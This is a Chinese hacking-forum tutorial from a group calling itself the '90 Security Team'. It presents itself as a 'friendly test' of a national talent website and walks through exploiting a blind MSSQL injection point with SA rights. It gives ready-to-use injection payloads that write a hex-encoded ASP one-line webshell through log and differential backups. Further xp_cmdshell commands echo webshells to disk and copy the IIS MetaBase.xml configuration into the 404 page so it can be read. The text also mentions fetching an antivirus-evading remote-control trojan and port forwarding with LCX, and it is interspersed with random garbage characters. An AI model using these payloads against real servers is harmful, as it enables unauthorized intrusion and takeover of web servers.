sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
' O3 \0 @: n$ r1 k( Y

                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
, z! T' C0 _4 e
                                                                 
! X0 q! {) J8 C+ \                                                                 
                                                                  论坛： http://www.90team.net/
( c6 _2 c' v& X$ @
% U2 `5 Z/ d" [' q1 @* d$ M9 [5 ~
$ y! H6 y2 y7 R2 k% V' n$ `
友情检测国家人才网

$ K  s3 O$ G1 p+ i4 s% }5 M% w7 X
内容：MSSQL注入SA权限不显错模式下的入侵


一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

" q( g6 U3 G5 n7 `5 N- |
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：
+ e  V, [. }6 l
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
& J1 H( H9 _& [( n. T0 x
2.数据库差异备份获得Webshell

8 k8 X# W8 R+ u0 t! h/ J) W4.直接下载免杀远控木马。
3 r! {" K7 p. b) p3 c4 T7 d
* R& c+ m1 G: g& p# w5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

. g' v% u* ~0 c' y

! L! |/ x- o2 ]+ u, f# ~在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法
5 F% v9 a1 P( D3 a9 g* w8 L

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

( U7 A& r1 ]* {7 \8 T% n

+ h' B8 Z$ v+ G1 L8 A
◆日志备份：


1. 进行初始备份
5 j1 a) v* w5 e' z; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
6 e; E( X4 E) y9 b  Y) _- O
2. 插入数据
  i9 x& e/ P5 b( L# |) N" };Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
) ^* h- K. F% E0 c5 L7 Y
* G6 H, ]/ W& r) f# I3 S7 }0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
3 F4 f: X* p2 m$ Z1 K- v+ ?6 T  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

7 A& E0 [* {- p

◆数据库差异备份
/ h0 ?! f- ?! g2 g! ?8 u% K
2 H& Z% e  |2 q0 u2 A  w2 H（1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


8 i  A' S# D! X( s: X$ n3 n（2. 将数据写入到数据库
, m/ p8 Q% H4 ]4 C. p% c1 _2 l;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
5 z, A" ~: W1 h6 k: M3 w- v* _
3 R( }( _% L, e& V4 L$ J3 W3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

2 _8 W& d5 Q+ ^' v0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
) X1 L5 w( p, Z: L' Z

2 c+ ~4 r8 a: y- A, O  E8 g
用^转义字符来写ASP(一句话木马)文件的方法:   
6 n5 v; c9 }3 K' n. q
1 x! }# s3 x. E4 S+ J1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

, H! M: r  a# U+ M2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
. W0 O" L1 [1 z2 j- m
读取IIS配置信息获取web路径

% a# x  ^/ Q0 ^- O  B     
. e# K" h. {! r2 J" j     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
8 P" G$ u. {* h  G1 ^; V3 s% C) k
执行命令
9 w9 \- K* U% H- g/ f& o( O     
0 i5 H, g9 b& r+ [3 {3 `' `     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

3 g5 H# e; ]# _! W1 Q) e% ]



+ A- \+ F5 E3 Z& K. d
" H" c1 B. f: U

8 G% u2 o7 s+ O) s9 ]" o
+ y. L. L& @0 z& C




# M8 C2 R8 U: ^6 W7 j
  @0 n' \, N0 l" @
! y- ^9 C$ U" Q7 @

0 C7 `3 i* h, k- y
( M  N4 j9 ]0 \

& M# X) _- J6 X2 m



5 H! b% t. E0 o! v- a# Y, _

- ~3 B' I  p' d3 U# g- a
+ y0 \# D' |: L& M& \& V7 G5 A2 h
7 x' K$ i' ~, s8 [2 {) ^2 C
" f) L7 c. B4 I* F+ O5 ]8 ~) K
$ Y! @  I! W( d) g2 _0 E4 K0 u




# j5 t6 e% l# }4 M& G: Z& [  g! Q% S
7 I$ W, }5 C! M/ [

8 C, l! `3 u  X* O' w" W+ I8 D
4 {! i* H9 e7 C: ]

3 C8 |2 U. t3 }) C- g4 z
4 L9 Z! i% o0 j3 @" _, e8 B




! z' L1 V* _$ Y  v" Z